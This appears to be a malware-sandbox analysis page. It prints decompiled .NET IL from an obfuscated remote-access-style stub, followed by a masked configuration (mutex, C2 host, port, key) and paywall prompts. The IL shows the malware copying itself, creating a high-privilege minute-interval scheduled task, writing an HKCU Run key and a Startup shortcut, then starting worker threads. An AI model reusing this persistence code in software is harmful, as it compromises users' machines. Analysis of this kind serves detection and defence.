Main IL	ldsfld System.Int32 Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::5ueFTa3fqXhpL9WlXqQZ2hlDHwF8YYZyZdxDqj0XwZJ0GUk1XD8DyhSIZTHotlaUzYUKOW0ii0Pzq2oxmmLsyRVS1ioTC ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::AAtLUytKhawIXw7WBDqeswY9HjObGpRmtFWnnj2Nu6uLVFEp8pX79DmzFqNuoeViBUHqywfCZwGTtBH6mfYC0nBmuaT84 call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::AAtLUytKhawIXw7WBDqeswY9HjObGpRmtFWnnj2Nu6uLVFEp8pX79DmzFqNuoeViBUHqywfCZwGTtBH6mfYC0nBmuaT84 ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::h4szbCA2DwtxHt15oSW8ZGSTvLxqcVRTzqI5NKSlyey1nLFlimq0gwIjBGDK5egjj3YWms453265l5fBIRqyTnFzY3Xt4 call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::h4szbCA2DwtxHt15oSW8ZGSTvLxqcVRTzqI5NKSlyey1nLFlimq0gwIjBGDK5egjj3YWms453265l5fBIRqyTnFzY3Xt4 ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::CzFvPC7U2cSbjh8Tvuq1vY9BCmrRm2RRon2svUfr09NUqSBCKE0yEsSdq8pqm0rEYXB6hZlfaZKuLrVgloa7m5chBs4dM call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::CzFvPC7U2cSbjh8Tvuq1vY9BCmrRm2RRon2svUfr09NUqSBCKE0yEsSdq8pqm0rEYXB6hZlfaZKuLrVgloa7m5chBs4dM ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::gNZ9QXLy1xtPhySU3wtwdcTEamgThShmjkpXnKmpoR78qMDPyrzXIwdDAV0Sa7Haj9wNFb02C74X6Y0tgg4Jgv7zU5CNe call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::gNZ9QXLy1xtPhySU3wtwdcTEamgThShmjkpXnKmpoR78qMDPyrzXIwdDAV0Sa7Haj9wNFb02C74X6Y0tgg4Jgv7zU5CNe ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::W6QUscCetMvi37Fk0lfBGJWDt9MyPp1Gj2AoDRDSJVnIVqRO3KIKwy5pOKdfGxC1ZqVSFL62efgrMBNR7QfBtueWLraAw call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::W6QUscCetMvi37Fk0lfBGJWDt9MyPp1Gj2AoDRDSJVnIVqRO3KIKwy5pOKdfGxC1ZqVSFL62efgrMBNR7QfBtueWLraAw ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::Deq3UUPeach3YlQ41n05MVaJCYyZMRoFZKcVDmmTomDCxC7BmhWB73FdOKEwRZeUsFr1VdzNrdUf2JZkuZBWt1dg9BSGV call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::Deq3UUPeach3YlQ41n05MVaJCYyZMRoFZKcVDmmTomDCxC7BmhWB73FdOKEwRZeUsFr1VdzNrdUf2JZkuZBWt1dg9BSGV ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::1VxjrmNBhdhyoHv7raHTQhwQbCCmLdUSA6U1ewXfR8K0bHVGrDUKEF57q4s7IVS9XnxnrOqXdC3ViYU0nHsMrRBSZPFLe call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::1VxjrmNBhdhyoHv7raHTQhwQbCCmLdUSA6U1ewXfR8K0bHVGrDUKEF57q4s7IVS9XnxnrOqXdC3ViYU0nHsMrRBSZPFLe ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.Object Stub.DpGXXapRKCQSMOdDZyhT9::DQ9x1tNSGlPbwhS2Ddz0H(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC leave.s IL_00CB: call System.Boolean Stub.LFo15gng8XSaPBsNRTbFP::uZJvwzecuJq8tRayLcjuJ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.LFo15gng8XSaPBsNRTbFP::uZJvwzecuJq8tRayLcjuJ() call System.Boolean Stub.LFo15gng8XSaPBsNRTbFP::uZJvwzecuJq8tRayLcjuJ() brtrue.s IL_00D8: call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::qdRggWPwwsEYAJi2hO3SO9ilJEyyD7RaT3sUZrzPReNSzbT54BH8QlMYXIEv5HAUNixDMGo3ZXs6oZeNRf1Bu9Z87cUqS() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::qdRggWPwwsEYAJi2hO3SO9ilJEyyD7RaT3sUZrzPReNSzbT54BH8QlMYXIEv5HAUNixDMGo3ZXs6oZeNRf1Bu9Z87cUqS() leave.s IL_00EE: call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kBlL6iI4mQIxUh764IY1EJuRgKW0IaAWodEzdSys7ZIgqUx5cUxpANoeOiCnzN0ReJlCqaj8KkNr4rU30EnaGGeTRWezi() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kBlL6iI4mQIxUh764IY1EJuRgKW0IaAWodEzdSys7ZIgqUx5cUxpANoeOiCnzN0ReJlCqaj8KkNr4rU30EnaGGeTRWezi() call System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kBlL6iI4mQIxUh764IY1EJuRgKW0IaAWodEzdSys7ZIgqUx5cUxpANoeOiCnzN0ReJlCqaj8KkNr4rU30EnaGGeTRWezi() ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::1VxjrmNBhdhyoHv7raHTQhwQbCCmLdUSA6U1ewXfR8K0bHVGrDUKEF57q4s7IVS9XnxnrOqXdC3ViYU0nHsMrRBSZPFLe ldstr \ ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.LFo15gng8XSaPBsNRTbFP::gkTHCMVmN8Sg8AJu0wOiJ call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.Og36Hsj8stn8XMVGt5iS5i7FRKghTuLZ8vaPlSdiPv7OZcs84cHfmcg3TahY1Uo7ZoYM6o8XC8CtgH::ApPJ0kH796M0yZb2b93TMyM399cvP7gODTqNwaqgRUBXfEmuuslBKE4gzEveZUnlY0pJzXvZVErORf() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.bibVN9NPLIiekmmXWSKK4ryFXjm2QouBNtYCxUrxXZYJAe6GWmUZw4qbuVssQQPljxoAi78TKEmS4ARsjRaNytLkblkin My.4fjJiSMFLumBVmr0Mw4wGKsfFlYWZPRZYAyr8DMDKfmxq6m3SZC2WFazgT6iHTevBiUNFFPrZFaFwQ3jBj4Ag3HrHMATz::eIb2bfzIkzAo5XPdWuhYVby0S8cZenxsKaguyt6pZ4c9pgwHrYLlR83jeSyrg1pwKIsJunQGr6Vf5FsrALEVIDXP4jSX0() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.bibVN9NPLIiekmmXWSKK4ryFXjm2QouBNtYCxUrxXZYJAe6GWmUZw4qbuVssQQPljxoAi78TKEmS4ARsjRaNytLkblkin My.4fjJiSMFLumBVmr0Mw4wGKsfFlYWZPRZYAyr8DMDKfmxq6m3SZC2WFazgT6iHTevBiUNFFPrZFaFwQ3jBj4Ag3HrHMATz::eIb2bfzIkzAo5XPdWuhYVby0S8cZenxsKaguyt6pZ4c9pgwHrYLlR83jeSyrg1pwKIsJunQGr6Vf5FsrALEVIDXP4jSX0() call My.bibVN9NPLIiekmmXWSKK4ryFXjm2QouBNtYCxUrxXZYJAe6GWmUZw4qbuVssQQPljxoAi78TKEmS4ARsjRaNytLkblkin My.4fjJiSMFLumBVmr0Mw4wGKsfFlYWZPRZYAyr8DMDKfmxq6m3SZC2WFazgT6iHTevBiUNFFPrZFaFwQ3jBj4Ag3HrHMATz::eIb2bfzIkzAo5XPdWuhYVby0S8cZenxsKaguyt6pZ4c9pgwHrYLlR83jeSyrg1pwKIsJunQGr6Vf5FsrALEVIDXP4jSX0() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Epmq53oCWAeW3mKVjiSDkLJ4RGdJDhhUYYJPv1FMuW6jjjXsedGfNxQdhbauFfXWJivgM6rrKJkCqHKewR8hLL1UGHxpb::uYVjcRhJeAfwHvRsUOyhw4GBbaUMv0fDALoOvmBTZ6m54hHlhuIpbR5AJLLV1x6L4MUnOqP2X633jKOZjohNSBtGfkXdC call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.LFo15gng8XSaPBsNRTbFP::TOAebu0qfYnV0On5wXRHU leave.s IL_0381: call System.Void Stub.LFo15gng8XSaPBsNRTbFP::okWP52bcZcq5bPLuOM2Sb() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.LFo15gng8XSaPBsNRTbFP::okWP52bcZcq5bPLuOM2Sb() call System.Void Stub.LFo15gng8XSaPBsNRTbFP::okWP52bcZcq5bPLuOM2Sb() ldnull <null> ldftn System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::FSfZ4CDbHv0p5Rr8Mf0fBiXiVYsjbPC2RYkV8dDjoPVCITWr9pnHtUkkxaoVozejRxKQxzCilVaUhb() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.Og36Hsj8stn8XMVGt5iS5i7FRKghTuLZ8vaPlSdiPv7OZcs84cHfmcg3TahY1Uo7ZoYM6o8XC8CtgH::ApPJ0kH796M0yZb2b93TMyM399cvP7gODTqNwaqgRUBXfEmuuslBKE4gzEveZUnlY0pJzXvZVErORf() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03AD: ldnull call System.Void Stub.r1uDUHDJENdR4pfeHC65W::ayFI9yyoP1WbwzVuDZ7qp() ldnull <null> ldftn System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::O9Klaw1AA1yQ4M3iKN9ihzVldIr3HC1dVYhOuTsrDg8iMkDYTpdFRS4ZTijv0MlNBJJbYP2eSzjIAw() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.c2g0IGd2RpzLpBDnFZFmBXcE4SMwDSfqUExZlxXqmPMsQ2nBkEdFfI2dJw5lZsFC3KPjGYv669SvSlBzPtXKst2C7aWD8::kTv1xFOtECiwl6565fMdIEzTIAtEAl53rcp2uoNjJeXw4E1IMyClaGeUYF8BLsEzxWKDTOTI7sqtyk() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Mutex MUTEXmalicious

bG9Xdhuhuhuhuhuhuhu

CnC CNCmalicious

mary-bhuhuhuhuhuhuhuhuhuhuhu

Port PORTmalicious

4huhuhuhu

Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.

Unlock with Essential

Config. Field	Value
Mutex	bG9Xdhuhuhuhuhuhuhu
Hosts	mary-bhuhuhuhuhuhuhuhuhuhuhu
Port	4huhuhuhu
KEY	<6huhuhuhu
USBNM	<XWhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Mutex MUTEXmalicious

bG9Xdhuhuhuhuhuhuhu

bb29d533b3df635d068c0974d7cab953

CnC CNCmalicious

mary-bhuhuhuhuhuhuhuhuhuhuhu

bb29d533b3df635d068c0974d7cab953

Port PORTmalicious

4huhuhuhu

bb29d533b3df635d068c0974d7cab953

Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.

Unlock with Essential

You must be signed in to view YARA rules.